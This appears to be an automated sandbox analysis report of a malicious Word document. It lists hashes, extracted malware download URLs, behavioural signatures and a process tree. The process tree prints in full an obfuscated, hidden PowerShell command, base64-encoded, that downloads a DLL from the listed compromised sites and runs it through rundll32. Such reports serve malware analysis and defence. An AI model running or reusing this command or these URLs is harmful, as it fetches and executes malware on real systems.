Analysis
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max time kernel
139s -
max time network
143s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
13-01-2021 19:12
Static task
static1
Behavioral task
behavioral1
Sample
DOC_1301_U_92121711.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
DOC_1301_U_92121711.doc
Resource
win10v20201028
General
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Target
DOC_1301_U_92121711.doc
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Size
158KB
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MD5
7f013028b389d513b3ecdb0314a8e565
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SHA1
6ab79010a6d9ceef32f6c7429a20fab9c2b3e161
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SHA256
1186bddeaa3cf409c79c698387ea235caec1d0f737790405f6cc12f64b90b5e5
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SHA512
38ca252877b342847d90fa20962ac9097038699b46645474eef57a31c12ac873ba56f64fe39cf576315442e8e232877d519e1be3d857daa679a7798ac2a96680
Malware Config
Extracted
https://smkbudiagung.com/wp-content/VoPg04/
https://ats-tx.com/old/f1X/
http://avanttipisos.com.br/catalogo-virtual/U/
http://mpeakecreations.co.za/cgi-bin/vVk1rw/
http://adres-ug.ru/wp-admin/IItD/
https://theraven.pk/overwolf-r6-vdace/UH4fL/
http://bhar.com.br/elementos/MQfB/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2716 1972 cmd.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exerundll32.exeflow pid process 22 1960 powershell.exe 30 3440 rundll32.exe 35 3440 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2680 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Eaqxjo\ruxya.ejm rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 984 WINWORD.EXE 984 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exerundll32.exepid process 1960 powershell.exe 1960 powershell.exe 1960 powershell.exe 3440 rundll32.exe 3440 rundll32.exe 3440 rundll32.exe 3440 rundll32.exe 3440 rundll32.exe 3440 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1960 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 984 WINWORD.EXE 984 WINWORD.EXE 984 WINWORD.EXE 984 WINWORD.EXE 984 WINWORD.EXE 984 WINWORD.EXE 984 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 2716 wrote to memory of 3208 2716 cmd.exe msg.exe PID 2716 wrote to memory of 3208 2716 cmd.exe msg.exe PID 2716 wrote to memory of 1960 2716 cmd.exe powershell.exe PID 2716 wrote to memory of 1960 2716 cmd.exe powershell.exe PID 1960 wrote to memory of 2636 1960 powershell.exe rundll32.exe PID 1960 wrote to memory of 2636 1960 powershell.exe rundll32.exe PID 2636 wrote to memory of 2680 2636 rundll32.exe rundll32.exe PID 2636 wrote to memory of 2680 2636 rundll32.exe rundll32.exe PID 2636 wrote to memory of 2680 2636 rundll32.exe rundll32.exe PID 2680 wrote to memory of 3440 2680 rundll32.exe rundll32.exe PID 2680 wrote to memory of 3440 2680 rundll32.exe rundll32.exe PID 2680 wrote to memory of 3440 2680 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_1301_U_92121711.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eaqxjo\ruxya.ejm",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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memory/984-2-0x00007FF81BCB0000-0x00007FF81C2E7000-memory.dmpFilesize
6.2MB
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memory/1960-4-0x0000000000000000-mapping.dmp
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memory/1960-5-0x00007FF815430000-0x00007FF815E1C000-memory.dmpFilesize
9.9MB
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memory/1960-6-0x0000016D3B430000-0x0000016D3B431000-memory.dmpFilesize
4KB
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memory/1960-7-0x0000016D3B690000-0x0000016D3B691000-memory.dmpFilesize
4KB
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memory/2636-8-0x0000000000000000-mapping.dmp
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memory/2680-10-0x0000000000000000-mapping.dmp
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memory/3208-3-0x0000000000000000-mapping.dmp
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memory/3440-12-0x0000000000000000-mapping.dmp